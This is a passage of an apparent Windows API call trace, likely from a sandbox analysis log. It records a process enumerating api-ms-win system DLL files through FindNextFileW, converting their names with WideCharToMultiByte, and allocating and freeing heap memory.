Size=0x40) returned 0x226c120 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x226c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.440] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x226c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.440] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.440] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.440] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.440] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x226c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x226c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x226c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.441] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.441] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.441] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.442] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0140.442] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c120 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x226c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0140.442] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x226c288 [0140.442] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c120) returned 1 [0140.442] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226c288) returned 1 [0140.442] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.442] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.442] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.442] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x226c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0140.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x226c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0140.442] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x226c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-CONVERT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0140.443] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x226c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-ENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0140.443] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb852a170, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb852a170, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3560, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0140.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x226c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-FILESYSTEM-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0140.449] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0140.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x226c288, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0140.449] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8ce741a, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77cf9450, dwReserved1=0x20f708, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="")) returned 1 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0140.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x226c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-LOCALE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0140.450] FindNextFileW (in: hFindFile=0x3a27d0, lpFindFileData=0x20f544 | out: lpFindFileData=0x20f544*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb846ba90, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb846ba90, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d0d57b, 